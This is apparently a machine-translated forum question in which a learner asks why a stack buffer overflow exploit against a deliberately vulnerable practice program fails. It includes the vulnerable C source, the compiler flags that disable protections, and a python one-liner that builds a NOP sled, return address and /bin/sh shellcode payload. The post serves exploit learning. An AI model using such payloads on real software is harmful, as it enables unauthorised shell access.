He estado trabajando en un problema de desbordamiento de búfer durante aproximadamente un día. ¡Decidí buscar ayuda de los profesionales!
Este desbordamiento de búfer utiliza la función "scanf" para aceptar la entrada del usuario y la pasa a una función de anulación llamada validar.
Ahora tengo curiosidad acerca de por qué, cuando construyo una carga útil, se parece a esto
NOP's + "SHELLCODE+ RET
Pero con este rompecabezas parece estar construido como tal
NOP's + RET + SHELLCODE + NOP's
Aquí está el código real ... #payload 27_Bytes
python2 -c 'print "\x90"*132+"\xc8\xd8\xff\xff"+"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"+"D"*41'>buf_test
luego corro:
run < buf_test
y obtengo sigfault en la dirección 0xffffd8fc no 0xffffd8c8 pero cuando sustituyo el RET con \ x51 * 4 obtengo sigfault en la dirección x51. Además, incluso cuando sobrescribo la dirección de EIP perfectamente, mi shell no se abre ... SIGUE en el RET que proporcioné.
y cuando desmonto esa dirección en el SIGFAULT, veo el ensamblaje y allí alrededor de 3-4 veces algunas funciones están etiquetadas como MALAS ...
Entonces, mi pregunta es, ¿esto tiene que ver con los caracteres malos o simplemente tengo la estructura incorrecta? Si es así, ¿hay una mejor manera de averiguar la estructura que no sea mi método de prueba y error? ... Tal vez el NOP después de que el código de shell lo esté arruinando? No creo que sea estoy usando GDB, en Archlinux actualizado
Linux windows 4.14.15-1-ARCH #1 SMP PREEMPT Tue Jan 23 21:49:25 UTC 2018 x86_64 GNU/Linux
Método de compilación:
gcc -m32 -fno-pie -no-pie -g bof.c -fno-stack-protector -z execstack -o bof32
GCC_VERSION:
gcc (GCC) 7.2.1 20180116
Código fuente vulnerable:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void validate(char *pass) {
if (strcmp(pass, "[REDACTED]") == 0) {
printf("ACCESS GRANTED!");
printf("Oh that's just idio... Oh my god!\n");
} else {
printf("Damn it, I had something for this...\n");
}
}
int main(int argc, char** argv) {
char password[200];
printf("C:/ENTER PASSWORD: ");
scanf("%s", password);
validate(password);
return 0;
}
Por favor, cualquier ayuda en mi camino hacia el aprendizaje será muy apreciada. Gracias de antemano.